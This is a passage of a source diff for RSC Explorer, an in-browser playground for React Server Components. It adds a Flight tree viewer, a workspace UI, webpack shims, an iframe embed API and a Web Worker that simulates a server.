59
+
if (value === undefined) return <span className="tree-undefined">undefined</span>;
60
+
61
+
if (typeof value === 'string') {
62
+
const display = value.length > 50 ? value.slice(0, 50) + '...' : value;
63
+
return <span className="tree-string">"{escapeHtml(display)}"</span>;
64
+
}
65
+
if (typeof value === 'number') {
66
+
const display = Object.is(value, -0) ? '-0' : String(value);
67
+
return <span className="tree-number">{display}</span>;
68
+
}
69
+
if (typeof value === 'bigint') {
70
+
return <span className="tree-number">{String(value)}n</span>;
71
+
}
72
+
if (typeof value === 'boolean') return <span className="tree-boolean">{String(value)}</span>;
73
+
if (typeof value === 'symbol') {
74
+
return <span className="tree-symbol">{value.toString()}</span>;
75
+
}
76
+
if (typeof value === 'function') {
77
+
return <span className="tree-function">[Function: {value.name || 'anonymous'}]</span>;
78
+
}
79
+
80
+
if (typeof value === 'object' && value !== null) {
81
+
if (ancestors.includes(value)) {
82
+
return <span className="tree-circular">[Circular]</span>;
83
+
}
84
+
}
85
+
86
+
const nextAncestors = typeof value === 'object' && value !== null
87
+
? [...ancestors, value]
88
+
: ancestors;
89
+
90
+
if (value instanceof Date) {
91
+
return <span className="tree-date">Date({value.toISOString()})</span>;
92
+
}
93
+
94
+
if (value instanceof Map) {
95
+
if (value.size === 0) return <span className="tree-collection">Map(0) {'{}'}</span>;
96
+
const pad = ' '.repeat(indent + 1);
97
+
const closePad = ' '.repeat(indent);
98
+
return (
99
+
<>
100
+
<span className="tree-collection">Map({value.size}) {'{\n'}</span>
101
+
{Array.from(value.entries()).map(([k, v], i) => (
102
+
<React.Fragment key={i}>
103
+
{pad}<JSXValue value={k} indent={indent + 1} ancestors={nextAncestors} /> => <JSXValue value={v} indent={indent + 1} ancestors={nextAncestors} />
104
+
{i < value.size - 1 ? ',' : ''}{'\n'}
105
+
</React.Fragment>
106
+
))}
107
+
{closePad}{'}'}
108
+
</>
109
+
);
110
+
}
111
+
112
+
if (value instanceof Set) {
113
+
if (value.size === 0) return <span className="tree-collection">Set(0) {'{}'}</span>;
114
+
const pad = ' '.repeat(indent + 1);
115
+
const closePad = ' '.repeat(indent);
116
+
return (
117
+
<>
118
+
<span className="tree-collection">Set({value.size}) {'{\n'}</span>
119
+
{Array.from(value).map((v, i) => (
120
+
<React.Fragment key={i}>
121
+
{pad}<JSXValue value={v} indent={indent + 1} ancestors={nextAncestors} />
122
+
{i < value.size - 1 ? ',' : ''}{'\n'}
123
+
</React.Fragment>
124
+
))}
125
+
{closePad}{'}'}
126
+
</>
127
+
);
128
+
}
129
+
130
+
if (value instanceof FormData) {
131
+
const entries = Array.from(value.entries());
132
+
if (entries.length === 0) return <span className="tree-collection">FormData {'{}'}</span>;
133
+
const pad = ' '.repeat(indent + 1);
134
+
const closePad = ' '.repeat(indent);
135
+
return (
136
+
<>
137
+
<span className="tree-collection">FormData {'{\n'}</span>
138
+
{entries.map(([k, v], i) => (
139
+
<React.Fragment key={i}>
140
+
{pad}<span className="tree-key">{k}</span>: <JSXValue value={v} indent={indent + 1} ancestors={nextAncestors} />
141
+
{i < entries.length - 1 ? ',' : ''}{'\n'}
142
+
</React.Fragment>
143
+
))}
144
+
{closePad}{'}'}
145
+
</>
146
+
);
147
+
}
148
+
149
+
if (value instanceof Blob) {
150
+
return <span className="tree-collection">Blob({value.size} bytes, "{value.type || 'application/octet-stream'}")</span>;
151
+
}
152
+
153
+
if (ArrayBuffer.isView(value)) {
154
+
const name = value.constructor.name;
155
+
const preview = Array.from(value.slice(0, 5)).join(', ');
156
+
const suffix = value.length > 5 ? ', ...' : '';
157
+
return <span className="tree-collection">{name}({value.length}) [{preview}{suffix}]</span>;
158
+
}
159
+
if (value instanceof ArrayBuffer) {
160
+
return <span className="tree-collection">ArrayBuffer({value.byteLength} bytes)</span>;
161
+
}
162
+
163
+
if (Array.isArray(value)) {
164
+
if (value.length === 0) return <>[]</>;
165
+
const hasElements = value.some((v, i) => i in value && isReactElement(v));
166
+
167
+
const renderItem = (i) => {
168
+
if (!(i in value)) {
169
+
return <span className="tree-empty">empty</span>;
170
+
}
171
+
return <JSXValue value={value[i]} indent={indent + 1} ancestors={nextAncestors} />;
172
+
};
173
+
174
+
if (hasElements || value.length > 3) {
175
+
const pad = ' '.repeat(indent + 1);
176
+
const closePad = ' '.repeat(indent);
177
+
return (
178
+
<>
179
+
{'[\n'}
180
+
{Array.from({ length: value.length }, (_, i) => (
181
+
<React.Fragment key={i}>
182
+
{pad}{renderItem(i)}
183
+
{i < value.length - 1 ? ',' : ''}{'\n'}
184
+
</React.Fragment>
185
+
))}
186
+
{closePad}]
187
+
</>
188
+
);
189
+
}
190
+
return (
191
+
<>
192
+
[
193
+
{Array.from({ length: value.length }, (_, i) => (
194
+
<React.Fragment key={i}>
195
+
{renderItem(i)}
196
+
{i < value.length - 1 ? ', ' : ''}
197
+
</React.Fragment>
198
+
))}
199
+
]
200
+
</>
201
+
);
202
+
}
203
+
204
+
if (isReactElement(value)) {
205
+
return <JSXElement element={value} indent={indent} ancestors={nextAncestors} />;
206
+
}
207
+
208
+
if (typeof value === 'object') {
209
+
if (typeof value.next === 'function' && typeof value[Symbol.iterator] === 'function') {
210
+
return <span className="tree-iterator">Iterator {'{}'}</span>;
211
+
}
212
+
213
+
if (typeof value[Symbol.asyncIterator] === 'function') {
214
+
return <span className="tree-iterator">AsyncIterator {'{}'}</span>;
215
+
}
216
+
217
+
if (value instanceof ReadableStream) {
218
+
return <span className="tree-stream">ReadableStream {'{}'}</span>;
219
+
}
220
+
221
+
if (typeof value.then === 'function') {
222
+
return (
223
+
<ErrorBoundary>
224
+
<Suspense fallback={<PendingFallback />}>
225
+
<Await promise={value}>
226
+
{(resolved) => <JSXValue value={resolved} indent={indent} ancestors={nextAncestors} />}
227
+
</Await>
228
+
</Suspense>
229
+
</ErrorBoundary>
230
+
);
231
+
}
232
+
233
+
if (value.$$typeof === Symbol.for('react.lazy')) {
234
+
return (
235
+
<ErrorBoundary>
236
+
<Suspense fallback={<PendingFallback />}>
237
+
<LazyValue value={value} indent={indent} ancestors={nextAncestors} />
238
+
</Suspense>
239
+
</ErrorBoundary>
240
+
);
241
+
}
242
+
243
+
const entries = Object.entries(value)
244
+
if (entries.length === 0) return <>{'{}'}</>;
245
+
if (entries.length <= 2 && entries.every(([, v]) => typeof v !== 'object' || v === null)) {
246
+
return (
247
+
<>
248
+
{'{ '}
249
+
{entries.map(([k, v], i) => (
250
+
<React.Fragment key={k}>
251
+
<span className="tree-key">{k}</span>: <JSXValue value={v} indent={indent} ancestors={nextAncestors} />
252
+
{i < entries.length - 1 ? ', ' : ''}
253
+
</React.Fragment>
254
+
))}
255
+
{' }'}
256
+
</>
257
+
);
258
+
}
259
+
const pad = ' '.repeat(indent + 1);
260
+
const closePad = ' '.repeat(indent);
261
+
return (
262
+
<>
263
+
{'{\n'}
264
+
{entries.map(([k, v], i) => (
265
+
<React.Fragment key={k}>
266
+
{pad}<span className="tree-key">{k}</span>: <JSXValue value={v} indent={indent + 1} ancestors={nextAncestors} />
267
+
{i < entries.length - 1 ? ',' : ''}{'\n'}
268
+
</React.Fragment>
269
+
))}
270
+
{closePad}{'}'}
271
+
</>
272
+
);
273
+
}
274
+
275
+
return <span className="tree-unknown">{String(value)}</span>;
276
+
}
277
+
278
+
function JSXElement({ element, indent, ancestors = [] }) {
279
+
const { type, props, key } = element;
280
+
const pad = ' '.repeat(indent);
281
+
const padInner = ' '.repeat(indent + 1);
282
+
283
+
let tagName, tagClass = 'tree-tag';
284
+
if (typeof type === 'string') {
285
+
tagName = type;
286
+
} else if (typeof type === 'function') {
287
+
tagName = type.displayName || type.name || 'Component';
288
+
tagClass = 'tree-client-tag';
289
+
} else if (typeof type === 'symbol') {
290
+
switch (type) {
291
+
case Symbol.for('react.fragment'):
292
+
tagName = 'Fragment';
293
+
break;
294
+
case Symbol.for('react.profiler'):
295
+
tagName = 'Profiler';
296
+
break;
297
+
case Symbol.for('react.strict_mode'):
298
+
tagName = 'StrictMode';
299
+
break;
300
+
case Symbol.for('react.suspense'):
301
+
tagName = 'Suspense';
302
+
break;
303
+
case Symbol.for('react.suspense_list'):
304
+
tagName = 'SuspenseList';
305
+
break;
306
+
case Symbol.for('react.activity'):
307
+
tagName = 'Activity';
308
+
break;
309
+
case Symbol.for('react.view_transition'):
310
+
tagName = 'ViewTransition';
311
+
break;
312
+
default:
313
+
tagName = 'Unknown';
314
+
}
315
+
tagClass = 'tree-react-tag';
316
+
} else if (type && typeof type === 'object' && type.$$typeof) {
317
+
if (type.$$typeof === Symbol.for('react.lazy')) {
318
+
return (
319
+
<ErrorBoundary>
320
+
<Suspense fallback={<PendingFallback />}>
321
+
<LazyType element={element} indent={indent} ancestors={ancestors} />
322
+
</Suspense>
323
+
</ErrorBoundary>
324
+
);
325
+
}
326
+
tagName = 'Component';
327
+
tagClass = 'tree-client-tag';
328
+
} else {
329
+
tagName = 'Unknown';
330
+
}
331
+
332
+
const { children, ...otherProps } = props || {};
333
+
const propEntries = Object.entries(otherProps).filter(([k]) =>
334
+
!['key', 'ref', '__self', '__source'].includes(k)
335
+
);
336
+
337
+
if (children === undefined || children === null || (Array.isArray(children) && children.length === 0)) {
338
+
return (
339
+
<>
340
+
<span className={tagClass}><{tagName}</span>
341
+
{key != null && <> <span className="tree-prop-name">key</span>=<span className="tree-string">"{key}"</span></>}
342
+
{propEntries.map(([k, v]) => (
343
+
<JSXProp key={k} name={k} value={v} indent={indent + 1} ancestors={ancestors} />
344
+
))}
345
+
<span className={tagClass}> /></span>
346
+
</>
347
+
);
348
+
}
349
+
350
+
const hasComplexChildren = typeof children !== 'string' && typeof children !== 'number';
351
+
return (
352
+
<>
353
+
<span className={tagClass}><{tagName}</span>
354
+
{key != null && <> <span className="tree-prop-name">key</span>=<span className="tree-string">"{key}"</span></>}
355
+
{propEntries.map(([k, v]) => (
356
+
<JSXProp key={k} name={k} value={v} indent={indent + 1} ancestors={ancestors} />
357
+
))}
358
+
<span className={tagClass}>></span>
359
+
{hasComplexChildren ? (
360
+
<>
361
+
{'\n'}{padInner}<JSXChildren value={children} indent={indent + 1} ancestors={ancestors} />{'\n'}{pad}
362
+
</>
363
+
) : (
364
+
<JSXChildren value={children} indent={indent + 1} ancestors={ancestors} />
365
+
)}
366
+
<span className={tagClass}></{tagName}></span>
367
+
</>
368
+
);
369
+
}
370
+
371
+
function JSXProp({ name, value, indent, ancestors = [] }) {
372
+
if (typeof value === 'string') {
373
+
return <> <span className="tree-prop-name">{name}</span>=<span className="tree-string">"{escapeHtml(value)}"</span></>;
374
+
}
375
+
if (isReactElement(value)) {
376
+
const pad = ' '.repeat(indent);
377
+
const closePad = ' '.repeat(indent - 1);
378
+
return (
379
+
<>
380
+
{' '}<span className="tree-prop-name">{name}</span>={'{'}
381
+
{'\n'}{pad}<JSXValue value={value} indent={indent} ancestors={ancestors} />{'\n'}{closePad}
382
+
{'}'}
383
+
</>
384
+
);
385
+
}
386
+
if (Array.isArray(value) && value.some(v => isReactElement(v))) {
387
+
const pad = ' '.repeat(indent);
388
+
const closePad = ' '.repeat(indent - 1);
389
+
return (
390
+
<>
391
+
{' '}<span className="tree-prop-name">{name}</span>={'{['}
392
+
{'\n'}
393
+
{value.map((v, i) => (
394
+
<React.Fragment key={i}>
395
+
{pad}<JSXValue value={v} indent={indent} ancestors={ancestors} />
396
+
{i < value.length - 1 ? ',' : ''}{'\n'}
397
+
</React.Fragment>
398
+
))}
399
+
{closePad}{']}'}
400
+
</>
401
+
);
402
+
}
403
+
return <> <span className="tree-prop-name">{name}</span>={'{'}<JSXValue value={value} indent={indent} ancestors={ancestors} />{'}'}</>;
404
+
}
405
+
406
+
function JSXChildren({ value, indent, ancestors = [] }) {
407
+
if (typeof value === 'string') return <>{escapeHtml(value)}</>;
408
+
if (typeof value === 'number') return <>{'{' + value + '}'}</>;
409
+
if (Array.isArray(value)) {
410
+
const pad = ' '.repeat(indent);
411
+
const hasComplex = value.some(v => isReactElement(v));
412
+
if (hasComplex) {
413
+
return (
414
+
<>
415
+
{value.map((child, i) => (
416
+
<React.Fragment key={i}>
417
+
<JSXChildren value={child} indent={indent} ancestors={ancestors} />
418
+
{i < value.length - 1 ? '\n' + pad : ''}
419
+
</React.Fragment>
420
+
))}
421
+
</>
422
+
);
423
+
}
424
+
return (
425
+
<>
426
+
{value.map((child, i) => (
427
+
<React.Fragment key={i}>
428
+
<JSXChildren value={child} indent={indent} ancestors={ancestors} />
429
+
</React.Fragment>
430
+
))}
431
+
</>
432
+
);
433
+
}
434
+
return <JSXValue value={value} indent={indent} ancestors={ancestors} />;
435
+
}
436
+
437
+
export function FlightTreeView({ flightPromise }) {
438
+
if (!flightPromise) {
439
+
return (
440
+
<div className="flight-tree">
441
+
<pre className="jsx-output"><PendingFallback /></pre>
442
+
</div>
443
+
);
444
+
}
445
+
446
+
return (
447
+
<div className="flight-tree">
448
+
<pre className="jsx-output">
449
+
<ErrorBoundary>
450
+
<Suspense fallback={<PendingFallback />}>
451
+
<Await promise={flightPromise}>
452
+
{(element) => <JSXValue value={element} indent={0} ancestors={[]} />}
453
+
</Await>
454
+
</Suspense>
455
+
</ErrorBoundary>
456
+
</pre>
457
+
</div>
458
+
);
459
+
}
+155
src/client/ui/Workspace.jsx
+155
src/client/ui/Workspace.jsx
···
1
+
import React, { useState, useEffect, useRef, useCallback, useSyncExternalStore } from 'react';
2
+
import { encodeReply } from 'react-server-dom-webpack/client';
3
+
import { Timeline, SteppableStream, registerClientModule, evaluateClientModule } from '../runtime/index.js';
4
+
import { ServerWorker } from '../server-worker.js';
5
+
import { parseClientModule, parseServerActions, compileToCommonJS, buildManifest } from '../../shared/compiler.js';
6
+
import { CodeEditor } from './CodeEditor.jsx';
7
+
import { FlightLog } from './FlightLog.jsx';
8
+
import { LivePreview } from './LivePreview.jsx';
9
+
10
+
export function Workspace({ initialServerCode, initialClientCode, onCodeChange }) {
11
+
const [serverCode, setServerCode] = useState(initialServerCode);
12
+
const [clientCode, setClientCode] = useState(initialClientCode);
13
+
const [serverWorker] = useState(() => new ServerWorker());
14
+
const [timeline] = useState(() => new Timeline());
15
+
const [callServerRef] = useState({ current: null });
16
+
17
+
const snapshot = useSyncExternalStore(timeline.subscribe, timeline.getSnapshot);
18
+
const { entries, cursor, totalChunks, isAtStart, isAtEnd } = snapshot;
19
+
20
+
const [clientModuleReady, setClientModuleReady] = useState(false);
21
+
const [error, setError] = useState(null);
22
+
const [availableActions, setAvailableActions] = useState([]);
23
+
const compileTimeoutRef = useRef(null);
24
+
25
+
useEffect(() => {
26
+
window.__DEBUG_TIMELINE__ = timeline;
27
+
}, [timeline]);
28
+
29
+
const handleServerChange = (code) => {
30
+
setServerCode(code);
31
+
onCodeChange?.(code, clientCode);
32
+
};
33
+
34
+
const handleClientChange = (code) => {
35
+
setClientCode(code);
36
+
onCodeChange?.(serverCode, code);
37
+
};
38
+
39
+
const handleStep = useCallback(() => {
40
+
timeline.stepForward();
41
+
}, [timeline]);
42
+
43
+
const handleSkip = useCallback(() => {
44
+
timeline.skipToEntryEnd();
45
+
}, [timeline]);
46
+
47
+
const handleAddRawAction = useCallback(async (actionName, rawPayload) => {
48
+
try {
49
+
const responseRaw = await serverWorker.callActionRaw(actionName, rawPayload);
50
+
const stream = new SteppableStream(responseRaw, { callServer: callServerRef.current });
51
+
await stream.waitForBuffer();
52
+
timeline.addAction(actionName, rawPayload, stream);
53
+
} catch (err) {
54
+
console.error('[raw action] Failed:', err);
55
+
}
56
+
}, [serverWorker, timeline, callServerRef]);
57
+
58
+
const compile = useCallback(async (sCode, cCode) => {
59
+
try {
60
+
setError(null);
61
+
timeline.clear();
62
+
63
+
const clientExports = parseClientModule(cCode);
64
+
const manifest = buildManifest('client', clientExports);
65
+
const compiledClient = compileToCommonJS(cCode);
66
+
const clientModule = evaluateClientModule(compiledClient);
67
+
registerClientModule('client', clientModule);
68
+
69
+
const actionNames = parseServerActions(sCode);
70
+
const compiledServer = compileToCommonJS(sCode);
71
+
setAvailableActions(actionNames);
72
+
73
+
await serverWorker.deploy({
74
+
compiledCode: compiledServer,
75
+
manifest,
76
+
actionNames,
77
+
});
78
+
79
+
const callServer = actionNames.length > 0
80
+
? async (actionId, args) => {
81
+
const actionName = actionId.split('#')[0];
82
+
const encodedArgs = await encodeReply(args);
83
+
const argsDisplay = typeof encodedArgs === 'string'
84
+
? `0=${encodedArgs}`
85
+
: new URLSearchParams(encodedArgs).toString();
86
+
87
+
const responseRaw = await serverWorker.callAction(actionName, encodedArgs);
88
+
const stream = new SteppableStream(responseRaw, { callServer });
89
+
await stream.waitForBuffer();
90
+
timeline.addAction(actionName, argsDisplay, stream);
91
+
return stream.flightPromise;
92
+
}
93
+
: null;
94
+
95
+
callServerRef.current = callServer;
96
+
97
+
const renderRaw = await serverWorker.render();
98
+
const renderStream = new SteppableStream(renderRaw, { callServer });
99
+
await renderStream.waitForBuffer();
100
+
101
+
timeline.setRender(renderStream);
102
+
setClientModuleReady(true);
103
+
} catch (err) {
104
+
console.error('[compile] Error:', err);
105
+
setError(err.message || String(err));
106
+
timeline.clear();
107
+
setClientModuleReady(false);
108
+
}
109
+
}, [timeline, serverWorker, callServerRef]);
110
+
111
+
const handleReset = useCallback(() => {
112
+
compile(serverCode, clientCode);
113
+
}, [compile, serverCode, clientCode]);
114
+
115
+
useEffect(() => {
116
+
clearTimeout(compileTimeoutRef.current);
117
+
compileTimeoutRef.current = setTimeout(() => {
118
+
compile(serverCode, clientCode);
119
+
}, 300);
120
+
}, [serverCode, clientCode, compile]);
121
+
122
+
useEffect(() => {
123
+
return () => serverWorker.terminate();
124
+
}, [serverWorker]);
125
+
126
+
return (
127
+
<main>
128
+
<CodeEditor label="server" defaultValue={serverCode} onChange={handleServerChange} />
129
+
<div className="pane">
130
+
<div className="pane-header">flight</div>
131
+
<FlightLog
132
+
timeline={timeline}
133
+
entries={entries}
134
+
cursor={cursor}
135
+
error={error}
136
+
availableActions={availableActions}
137
+
onAddRawAction={handleAddRawAction}
138
+
onDeleteEntry={(idx) => timeline.deleteEntry(idx)}
139
+
/>
140
+
</div>
141
+
<CodeEditor label="client" defaultValue={clientCode} onChange={handleClientChange} />
142
+
<LivePreview
143
+
timeline={timeline}
144
+
clientModuleReady={clientModuleReady}
145
+
totalChunks={totalChunks}
146
+
cursor={cursor}
147
+
isAtStart={isAtStart}
148
+
isAtEnd={isAtEnd}
149
+
onStep={handleStep}
150
+
onSkip={handleSkip}
151
+
onReset={handleReset}
152
+
/>
153
+
</main>
154
+
);
155
+
}
+47
src/client/webpack-shim.js
+47
src/client/webpack-shim.js
···
1
+
const moduleCache = {};
2
+
const moduleFactories = {};
3
+
4
+
window.__webpack_module_cache__ = moduleCache;
5
+
window.__webpack_modules__ = moduleFactories;
6
+
7
+
window.__webpack_require__ = function(moduleId) {
8
+
if (moduleCache[moduleId]) {
9
+
return moduleCache[moduleId].exports || moduleCache[moduleId];
10
+
}
11
+
if (moduleFactories[moduleId]) {
12
+
const module = { exports: {} };
13
+
moduleFactories[moduleId](module);
14
+
moduleCache[moduleId] = module;
15
+
return module.exports;
16
+
}
17
+
throw new Error(`Module ${moduleId} not found in webpack shim`);
18
+
};
19
+
20
+
window.__webpack_require__.m = moduleFactories;
21
+
window.__webpack_require__.c = moduleCache;
22
+
window.__webpack_require__.d = function(exports, definition) {
23
+
for (const key in definition) {
24
+
if (Object.prototype.hasOwnProperty.call(definition, key) && !Object.prototype.hasOwnProperty.call(exports, key)) {
25
+
Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
26
+
}
27
+
}
28
+
};
29
+
window.__webpack_require__.r = function(exports) {
30
+
if (typeof Symbol !== 'undefined' && Symbol.toStringTag) {
31
+
Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
32
+
}
33
+
Object.defineProperty(exports, '__esModule', { value: true });
34
+
};
35
+
window.__webpack_require__.o = function(obj, prop) {
36
+
return Object.prototype.hasOwnProperty.call(obj, prop);
37
+
};
38
+
39
+
window.__webpack_chunk_load__ = function(chunkId) {
40
+
return Promise.resolve();
41
+
};
42
+
43
+
window.__webpack_require__.e = function(chunkId) {
44
+
return Promise.resolve();
45
+
};
46
+
47
+
window.__webpack_require__.p = '/';
+85
src/embed.js
+85
src/embed.js
···
1
+
/**
2
+
* RSC Explorer Embed API
3
+
*
4
+
* Usage:
5
+
* ```html
6
+
* <div id="demo" style="height: 500px;"></div>
7
+
* <script type="module">
8
+
* import { mount } from 'https://rscexplorer.dev/embed.js';
9
+
*
10
+
* mount('#demo', {
11
+
* server: `
12
+
* export default function App() {
13
+
* return <h1>Hello RSC</h1>;
14
+
* }
15
+
* `,
16
+
* client: `
17
+
* 'use client'
18
+
* export function Button() {
19
+
* return <button>Click</button>;
20
+
* }
21
+
* `
22
+
* });
23
+
* </script>
24
+
* ```
25
+
*/
26
+
27
+
// Get the embed URL relative to this script's location
28
+
const getEmbedUrl = () => {
29
+
return new URL('embed.html', import.meta.url).href;
30
+
};
31
+
32
+
/**
33
+
* Mount an RSC Explorer embed into a container element
34
+
* @param {string|HTMLElement} container - CSS selector or DOM element
35
+
* @param {Object} options - Configuration options
36
+
* @param {string} options.server - Server component code
37
+
* @param {string} options.client - Client component code
38
+
* @returns {Object} - Control object with methods to interact with the embed
39
+
*/
40
+
export function mount(container, { server, client }) {
41
+
const el =
42
+
typeof container === "string"
43
+
? document.querySelector(container)
44
+
: container;
45
+
46
+
if (!el) {
47
+
throw new Error(`RSC Explorer: Container not found: ${container}`);
48
+
}
49
+
50
+
// Create iframe
51
+
const iframe = document.createElement("iframe");
52
+
iframe.src = getEmbedUrl();
53
+
iframe.style.cssText =
54
+
"width: 100%; height: 100%; border: 1px solid #e0e0e0; border-radius: 8px;";
55
+
56
+
// Wait for iframe to be ready, then send code
57
+
const handleMessage = (event) => {
58
+
if (event.source !== iframe.contentWindow) return;
59
+
60
+
if (event.data?.type === "rsc-embed:ready") {
61
+
iframe.contentWindow.postMessage(
62
+
{
63
+
type: "rsc-embed:init",
64
+
code: { server: server.trim(), client: client.trim() },
65
+
},
66
+
"*",
67
+
);
68
+
}
69
+
};
70
+
71
+
window.addEventListener("message", handleMessage);
72
+
73
+
// Clear container and add iframe
74
+
el.innerHTML = "";
75
+
el.appendChild(iframe);
76
+
77
+
// Return control object
78
+
return {
79
+
iframe,
80
+
destroy: () => {
81
+
window.removeEventListener("message", handleMessage);
82
+
el.innerHTML = "";
83
+
},
84
+
};
85
+
}
+40
src/server/webpack-shim.js
+40
src/server/webpack-shim.js
···
1
+
// Shim webpack globals for react-server-dom-webpack/server in worker context
2
+
// Uses self instead of window since this runs in a Web Worker
3
+
4
+
const moduleCache = {};
5
+
6
+
self.__webpack_require__ = function(moduleId) {
7
+
if (moduleCache[moduleId]) {
8
+
return moduleCache[moduleId];
9
+
}
10
+
throw new Error(`Module ${moduleId} not found in webpack shim`);
11
+
};
12
+
13
+
self.__webpack_require__.m = {};
14
+
self.__webpack_require__.c = moduleCache;
15
+
self.__webpack_require__.d = function(exports, definition) {
16
+
for (const key in definition) {
17
+
if (Object.prototype.hasOwnProperty.call(definition, key) && !Object.prototype.hasOwnProperty.call(exports, key)) {
18
+
Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
19
+
}
20
+
}
21
+
};
22
+
self.__webpack_require__.r = function(exports) {
23
+
if (typeof Symbol !== 'undefined' && Symbol.toStringTag) {
24
+
Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
25
+
}
26
+
Object.defineProperty(exports, '__esModule', { value: true });
27
+
};
28
+
self.__webpack_require__.o = function(obj, prop) {
29
+
return Object.prototype.hasOwnProperty.call(obj, prop);
30
+
};
31
+
32
+
self.__webpack_chunk_load__ = function(chunkId) {
33
+
return Promise.resolve();
34
+
};
35
+
36
+
self.__webpack_require__.e = function(chunkId) {
37
+
return Promise.resolve();
38
+
};
39
+
40
+
self.__webpack_require__.p = '/';
+145
src/server/worker.js
+145
src/server/worker.js
···
1
+
// Server Worker - RSC server simulation
2
+
//
3
+
// Models a real server: deploy code once, then handle requests against it.
4
+
// - `deploy`: Store compiled code, manifest, etc. (like deploying to production)
5
+
// - `render`/`action`: Execute against deployed code
6
+
7
+
import './webpack-shim.js';
8
+
import '../client/byte-stream-polyfill.js';
9
+
import 'text-encoding';
10
+
11
+
import {
12
+
renderToReadableStream,
13
+
registerServerReference,
14
+
createClientModuleProxy,
15
+
decodeReply,
16
+
} from 'react-server-dom-webpack/server';
17
+
import React from 'react';
18
+
19
+
let deployed = null;
20
+
21
+
// Safari doesn't support transferable streams
22
+
async function streamToMain(stream, requestId) {
23
+
const reader = stream.getReader();
24
+
try {
25
+
while (true) {
26
+
const { done, value } = await reader.read();
27
+
if (done) {
28
+
self.postMessage({ type: 'stream-end', requestId });
29
+
break;
30
+
}
31
+
self.postMessage({ type: 'stream-chunk', requestId, chunk: value });
32
+
}
33
+
} catch (err) {
34
+
self.postMessage({ type: 'stream-error', requestId, error: { message: err.message } });
35
+
}
36
+
}
37
+
38
+
self.onmessage = async (event) => {
39
+
const { type, requestId } = event.data;
40
+
41
+
try {
42
+
switch (type) {
43
+
case 'deploy':
44
+
handleDeploy(event.data);
45
+
break;
46
+
case 'render':
47
+
await handleRender(event.data);
48
+
break;
49
+
case 'action':
50
+
await handleAction(event.data);
51
+
break;
52
+
default:
53
+
throw new Error(`Unknown message type: ${type}`);
54
+
}
55
+
} catch (error) {
56
+
self.postMessage({
57
+
type: 'error',
58
+
requestId,
59
+
error: { message: error.message, stack: error.stack },
60
+
});
61
+
}
62
+
};
63
+
64
+
function handleDeploy({ compiledCode, manifest, actionNames, requestId }) {
65
+
const clientModule = createClientModuleProxy('client');
66
+
const modules = { 'react': React, './client': clientModule };
67
+
const serverModule = evalModule(compiledCode, modules, actionNames);
68
+
69
+
deployed = { manifest, serverModule, actionNames };
70
+
71
+
self.postMessage({ type: 'deployed', requestId });
72
+
}
73
+
74
+
function requireDeployed() {
75
+
if (!deployed) throw new Error('No code deployed');
76
+
return deployed;
77
+
}
78
+
79
+
async function handleRender({ requestId }) {
80
+
const { manifest, serverModule } = requireDeployed();
81
+
82
+
const App = serverModule.default || serverModule;
83
+
const element = typeof App === 'function' ? React.createElement(App) : App;
84
+
85
+
const flightStream = renderToReadableStream(element, manifest, {
86
+
onError: (error) => error.message || String(error),
87
+
});
88
+
89
+
self.postMessage({ type: 'stream-start', requestId });
90
+
streamToMain(flightStream, requestId);
91
+
}
92
+
93
+
async function handleAction({ actionId, encodedArgs, requestId }) {
94
+
const { manifest, serverModule } = requireDeployed();
95
+
96
+
const actionFn = serverModule[actionId];
97
+
if (typeof actionFn !== 'function') {
98
+
throw new Error(`Action "${actionId}" not found`);
99
+
}
100
+
101
+
const toDecode = reconstructEncodedArgs(encodedArgs);
102
+
const args = await decodeReply(toDecode, {});
103
+
const result = await actionFn(...(Array.isArray(args) ? args : [args]));
104
+
105
+
const flightStream = renderToReadableStream(result, manifest, {
106
+
onError: (error) => error.message || String(error),
107
+
});
108
+
109
+
self.postMessage({ type: 'stream-start', requestId });
110
+
streamToMain(flightStream, requestId);
111
+
}
112
+
113
+
function reconstructEncodedArgs(encodedArgs) {
114
+
if (encodedArgs.type === 'formdata') {
115
+
const formData = new FormData();
116
+
for (const [key, value] of new URLSearchParams(encodedArgs.data)) {
117
+
formData.append(key, value);
118
+
}
119
+
return formData;
120
+
}
121
+
return encodedArgs.data;
122
+
}
123
+
124
+
function evalModule(code, modules, actionNames) {
125
+
let finalCode = code;
126
+
if (actionNames?.length > 0) {
127
+
finalCode += '\n' + actionNames
128
+
.map(name => `__registerServerReference(${name}, "${name}", "${name}"); exports.${name} = ${name};`)
129
+
.join('\n');
130
+
}
131
+
132
+
const module = { exports: {} };
133
+
const require = (id) => {
134
+
if (!modules[id]) throw new Error(`Module "${id}" not found`);
135
+
return modules[id];
136
+
};
137
+
138
+
new Function('module', 'exports', 'require', 'React', '__registerServerReference', finalCode)(
139
+
module, module.exports, require, React, registerServerReference
140
+
);
141
+
142
+
return module.exports;
143
+
}
144
+
145
+
self.postMessage({ type: 'ready' });
+244
test-embed.html
+244
test-embed.html
···
1
+
<!doctype html>
2
+
<html lang="en">
3
+
<head>
4
+
<meta charset="UTF-8" />
5
+
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
6
+
<title>RSC Explorer Embeds</title>
7
+
<style>
8
+
body {
9
+
font-family: system-ui, sans-serif;
10
+
max-width: 900px;
11
+
margin: 0 auto;
12
+
padding: 20px;
13
+
line-height: 1.6;
14
+
}
15
+
h2 {
16
+
margin-top: 40px;
17
+
border-bottom: 1px solid #eee;
18
+
padding-bottom: 8px;
19
+
}
20
+
.embed-container {
21
+
height: 500px;
22
+
margin-bottom: 40px;
23
+
}
24
+
</style>
25
+
</head>
26
+
<body>
27
+
<h1>RSC Explorer Embeds</h1>
28
+
<p>
29
+
Multiple embedded RSC explorers demonstrating different React Server
30
+
Components patterns.
31
+
</p>
32
+
33
+
<h2>Hello World</h2>
34
+
<p>The simplest possible server component.</p>
35
+
<div id="hello" class="embed-container"></div>
36
+
37
+
<h2>Counter</h2>
38
+
<p>A client component with state, rendered from a server component.</p>
39
+
<div id="counter" class="embed-container"></div>
40
+
41
+
<h2>Async Component</h2>
42
+
<p>
43
+
Server components can be async and use Suspense for loading states.
44
+
</p>
45
+
<div id="async" class="embed-container"></div>
46
+
47
+
<h2>Form Action</h2>
48
+
<p>Server actions handle form submissions with useActionState.</p>
49
+
<div id="form" class="embed-container"></div>
50
+
</body>
51
+
52
+
<script type="module">
53
+
import { mount } from "http://localhost:3333/embed.js";
54
+
55
+
mount("#hello", {
56
+
server: `export default function App() {
57
+
